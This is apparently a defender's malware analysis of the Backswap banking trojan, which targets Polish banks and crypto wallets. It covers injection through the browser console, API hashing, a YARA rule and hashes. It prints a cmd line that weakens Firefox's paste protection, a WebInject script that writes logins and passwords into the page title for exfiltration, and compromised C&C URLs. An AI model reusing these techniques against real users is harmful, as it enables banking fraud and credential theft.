Report an incident
Report an incident

Backswap malware analysis

    Backswap is a banker, which we first observed around March 2018. It’s a variant of old, well-known malware TinBa (which stands for “tiny banker”). As the name suggests, it’s main characteristic is small size (very often in the 10-50kB range). In the summary, we present reasoning for assuming it’s the same malware.

    We were writing about TinBa in 2015, since then, it was using various techniques:

    • DGA for communication with C&C
    • Form grabbing to steal users credentials
    • injecting in different processes

    You can read more about those variants here:

    https://labsblog.f-secure.com/2016/01/18/analyzing-tinba-configuration-data/
    https://www.zscaler.com/blogs/research/look-recent-tinba-banking-trojan-variant
    https://securityintelligence.com/tinba-malware-reloaded-and-attacking-banks-around-the-world/

    There are multiple versions of Backswap. We are going to focus on the newer samples, and their commons parts for readability purposes. Malware targets mostly Polish banks, sometimes cryptocurrency wallets. It swaps the account number of the money transfer recipient using injected JavaScript code. You can find few years old source code.

    Features:

    • can run from arbitrary address in the process memory
    • resolves import table, using simple hashes of functions names
    • swaps the contents of the clipboard, when bank/cryptocurrency account number is found
    • injects WebInjects, replacing bank numbers and stealing credentials

    Malware recognize its attack targets using ‘*’ as a wildcard:

    https://*ingbank.pl*mojeing*transactions
    https://*ipko.pl*transactions/transfers*
    https://*mbank.pl*transfer*
    https://*pekaobiznes24.pl/webcorpo/index_.jsp*
    https://*advcash.com*bitcoin*

    Sometimes substring search is used:

    /wallet/#/login
    btc-invoicing.wmtransfer.com
    24.pl/centrum24-web/ThirdPartyTransfer
    mojeing/app/#home/start
    ipko.pl/secure/ikd3/index.html#home
    online.mbank.pl/pl#
    MTNotPredefinedAccount.htm
    wex.nz/profile#funds
    transactions/transfers

    Technical analysis

    We can retrieve many information just from reading the source code. It can be helpful for revealing general behaviour. Unfortunately, due to large amount of varieties and the fact that the source code is pretty old, it’s not enough to understand how the newer samples operate.

    1. Position Independent

    Backswap very often hides in another program. List of executables used for this purpose involve programs like 7zip, ollydbg, dbgview. For what we know, it’s not a stealth technique in a sense that it’s purpose is to not alarm the user. We assume it’s used just to misdirect the heuristics of antivirus software. Execution of Backswap starts thanks to additional entry added to the initterm table. Table that is used for the initialization of the C++ enviroment.

    In order to be executed, Backswap code is copied into different area of memory.

    To make the malware work in such conditions, it must be able to run from any place in memory, this feature is called Position Independent Code(PIC). In short, it means that all of the offsets are calculated relatively.

    Backswap accomplishes that by this distinctive combination of instructions:

    Above instructions calculate the offset relative to the 0x401000 address. Then this value is added to every jump or any instruction involving memory access.

    One specific thing we faced during analysis was technique called ‘call-over-string’. The idea is to store strings inside the code and make calls over the strings. This results in a string address pushed on the stack, while execution continues. It saves space and makes writing Position Independent Code easier. This technique is tricky for disassemblers to get right. IDA Pro is not able to automatically disassemble it correctly.

    • In the automatically generated IDA code, we can see that instructions following the call are disassembled before the ones pointed by call destination. This is incorrect and have to be adjusted manually

    • After manual adjustments, we can see how the code should look like

    2. Windows API

    Due to Backswap being Position Independent and fully self-contained, it does not know where Windows libraries are loaded. It does that by itself. First step in that process is to find kernel32.dll library. TIB/PEB are used to do exactly that.

    TIB:30h -> PEB
    PEB+0x0c -> InInitializationOrderModuleList
    InInitializationOrderModuleList+0x1c -> InInitializationOrderModuleList:Flink
    InInitializationOrderModuleList:Flink+0x8 -> BaseAddress

    Remaining libraries are loaded with function LoadLibraryA exported from the library mentioned above.

    Backswap loads functions from libraries by comparing simple hash of the name of the function with table of hashes stored inside the binary. Algorithm expressed in Python:

    def tinba_hash(name):
    h = 0
    for c in name:
    h = (ord(c) + 7 * h) & 0xffffffff
    return h

    Loaded libraries

    kernel32.dll
    shell32.dll
    user32.dll
    OLEACC.dll
    ntdll.dll
    Ole32.dll
    OleAut32.dll
    wininet.dll

    3. Harmful activity

    Backswap carries out multiple harmful activities. Big ones are: injecting Webinjects and stealing credentials. Supported browsers involve Internet Explorer, Mozilla Firefox, Google Chrome. Some variants also swap the contents of the clipboard when bank/cryptocurrency account number is found.

    WebInjects

    WebInjects are injected with rather innovative method, successfuly avoiding antivirus heuristics.

    Code to be injected is stored inside .rsrc section of the PE file. Content is xored with a constant value, most of the time with 0x8. It’s achieved with a series of xors instead of single xor. In the newer samples we observed different constants, and the xoring code modified a bit.

    Backswap uses keyboard shortcuts for injection. Whole process looks as follows:

    • In case of Mozilla Firefox: disable protection from pasting code inside JavaScript console, it’s achieved with the following command: /V:ON /C dir /S/B/A-D “%APPDATA%\Mozilla\prefs.js” > “%TEMP%\edit” && SETLOCAL EnableDelayedExpansion && set /p v=<“%TEMP%\edit” && echo ^user_pref(“devtools.selfxss.count”, 100); >> “!v!”
    • Get WebInjects from .rsrc section
    • Insert WebInject into clipboard. In the first frame you can see SetClipboardData.aspx) function, used for that purpose

    • Hide browser window. To perform this operation, first GetWindowLong.aspx) is called to get GWL_EXSTYLE – extended window styles. Those are extended with attribute WS_EX_LAYERED(or eax, 80000h), and set on the window with SetWindowLong.aspx) This results in window being transparent, not visible to the user

    • Send CTRL+SHIT+J keyboard combination to the browser process for Internet Explorer/Google Chrome, and CTRL+SHIFT+K for Firefox. This results in developer console popping up. SendInput.aspx) is used

    • In a very similar fashion, malware sends CTRL+V, then ENTER

    • Finally, console is closed with the same keyboard shortcuts. Transparency of the window is turned off

    Newer samples changed injecting technique a bit. Steps involve:

    • Sending CTRL+L to the browser window with SendInput function
    • Typing javascript: string, character by character, using SendMessage with argument WM_CHAR in a loop

    Stealing credentials

    Some of the samples steal credentials in a very interesting fashion. With the help of SetWinEventHook.aspx) following events are hooked:

    EVENT_OBJECT_FOCUS
    EVENT_OBJECT_SELECTION
    EVENT_OBJECT_SELECTIONADD
    EVENT_OBJECT_SELECTIONREMOVE
    EVENT_OBJECT_SELECTIONWITHIN
    EVENT_OBJECT_STATECHANGE
    EVENT_OBJECT_LOCATIONCHANGE
    EVENT_OBJECT_NAMECHANGE
    EVENT_OBJECT_DESCRIPTIONCHANGE
    EVENT_OBJECT_VALUECHANGE

    Configured callback function for those events saves window title text to the log file located in %TEMP%/<nazwa>.log. Example names involve dero, niko, gobi, abc.

    In the same time, WebInjects put the credentials into browser window title. Background thread periodically sends log file contents to the C&C server.

    Some of the WebInjects involved in the process are presented below.

    var changetitle=function(what,data)
    {
    try
    {
    if (document.title.indexOf(what)==-1)
    {
    document.title=document.title+what+data;
    }
    }catch(e){}
    return true;
    };
    [...]
    var sum=document.querySelector('input[class*="f-amount ui-ipko-input"]').value.replace(',','.').replace(' ','');
    var bal=parseFloat(sum)*1;
    [...]
    if (bal>0) {changetitle('-z:',bal);}
    [...]
    changetitle('-n:', grabname());
    [...]
    if (login && pass) { changetitle(mtitle,'-lp:',login+'__'+pass); }

    Some of the older C&C used:

    hervormdegemeentegrootammers.nl/docs/tron.php
    efg-uebach-palenberg.de/web_33/includes/o.php
    debasuin.nl/test/php/loop.php
    www.vitamunda.nl/wp-test/ok.php
    mecrob.cc/bot/gate.php

    Those are mostly websites with legit services, which means that they have been compromised.

    Samples that does not contain C&C server, are using URL suggesting that authors are counting number of infections http://counter.yadro.ru/hit?rhttp://sexy.com/;uhttp://sexy.com/;h.

    Summary

    Backswap and TinBa are very alike. They share: call $+5; pop ebx instructions for Position Independent Code, functions for reconstructing Windows API table, storing WebInjects inside .rsrc xored with constant key, call-over-string and strings contained in the sample.

    Chrome_WidgetWin_1
    MozillaWindowClass
    TabThumbnailWindow

    Main difference is in the harmful activity performed by the malware.

    YARA Rules

    rule tinba
    {
    meta:
    author = "psrok/des"
    module = "tinba"
    strings:
    $api_routine = { B8 07 00 00 00 F7 ?? 8B ?? 0F B6 ?? 03 ?? 47 80 ?? ?? 75 EC }
    $api_loadlib = { E4 5A 57 5A }
    $api_getmodulehandle = { 27 D4 2B C0 }
    $rcxor = { 80 74 01 FF 08
    80 74 01 FF 07
    80 74 01 FF 06 }
    $str1 = "RespectMyAuthority"
    $str2 = "MozillaWindowClass"
    $get_urls_to_inject = { 50 FF [1-5] 8D 83 [4] FF D0 85 C0 74 [1] E8 }
    condition:
    all of ($api*) or ( ( all of ($str*) or $get_urls_to_inject ) and $rcxor )
    }

    Hashes

    3f86fe2c77e5f2dabda5f99ef8c41d88a732bfed2ad02933c55c49177b7565f6 - sample opening developer console
    d55a6993abe6ef5b3c047ed46036236caab9ad2e60774e72ce498f454c45128f - sample typing "javascript:" in the address bar

    Other analyses

    https://www.welivesecurity.com/2018/05/25/backswap-malware-empty-bank-accounts/

Share: